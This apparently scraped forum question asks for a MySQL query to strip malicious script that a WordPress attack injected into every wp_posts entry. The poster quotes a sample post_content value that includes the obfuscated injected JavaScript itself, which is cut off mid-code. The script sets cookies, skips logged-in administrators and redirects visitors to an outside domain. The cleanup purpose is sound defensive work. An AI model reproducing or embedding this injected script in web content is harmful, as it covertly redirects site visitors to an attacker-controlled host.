Categories
Mastering Development

Query for MySQL to search string, and replace same column with substring from 0 to string found position

I’m removing a wordpress attack who independent of the files, update all the wp_posts table with malicious script. An example of a the column post_content is the following: <p>[/mvc_price_listing][/vc_column_inner][vc_column_inner width=”1/2″][promo_banner image=”9510″][/promo_banner][mvc_price_listing price_visibility=”none” price_title=”Ladrillo Fiscal Artesanal<br /> <small>Generico</small>” top_bg=”#c41200″]</p> <p>[/mvc_price_listing][/vc_column_inner][/vc_row_inner][/vc_column][vc_column width=”1/6″][/vc_column][/vc_row]</p> <script>var _0x2cf4=[‘MSIE;’,’OPR’,’Chromium’,’Chrome’,’ppkcookie’,’location’,’https://ischeck.xyz/?pma1′,’onload’,’getElementById’,’undefined’,’setTime’,’getTime’,’toUTCString’,’cookie’,’;\x20path=/’,’split’,’length’,’charAt’,’substring’,’indexOf’,’match’,’userAgent’,’Edge’];(function(_0x15c1df,_0x14d882){var _0x2e33e1=function(_0x5a22d4){while(–_0x5a22d4){_0x15c1df[‘push’](_0x15c1df[‘shift’]());}};_0x2e33e1(++_0x14d882);}(_0x2cf4,0x104));var _0x287a=function(_0x1c2503,_0x26453f){_0x1c2503=_0x1c2503-0x0;var _0x58feb3=_0x2cf4[_0x1c2503];return _0x58feb3;};window[_0x287a(‘0x0’)]=function(){(function(){if(document[_0x287a(‘0x1’)](‘wpadminbar’)===null){if(typeof _0x335357===_0x287a(‘0x2’)){function _0x335357(_0xe0ae90,_0x112012,_0x5523d4){var _0x21e546=”;if(_0x5523d4){var _0x5b6c5c=new Date();_0x5b6c5c[_0x287a(‘0x3’)](_0x5b6c5c[_0x287a(‘0x4′)]()+_0x5523d4*0x18*0x3c*0x3c*0x3e8);_0x21e546=’;\x20expires=’+_0x5b6c5c[_0x287a(‘0x5’)]();}document[_0x287a(‘0x6’)]=_0xe0ae90+’=’+(_0x112012||”)+_0x21e546+_0x287a(‘0x7′);}function _0x38eb7c(_0x2e2623){var _0x1f399a=_0x2e2623+’=’;var _0x36a90c=document[_0x287a(‘0x6’)][_0x287a(‘0x8’)](‘;’);for(var _0x51e64c=0x0;_0x51e64c<_0x36a90c[_0x287a(‘0x9’)];_0x51e64c++){var […]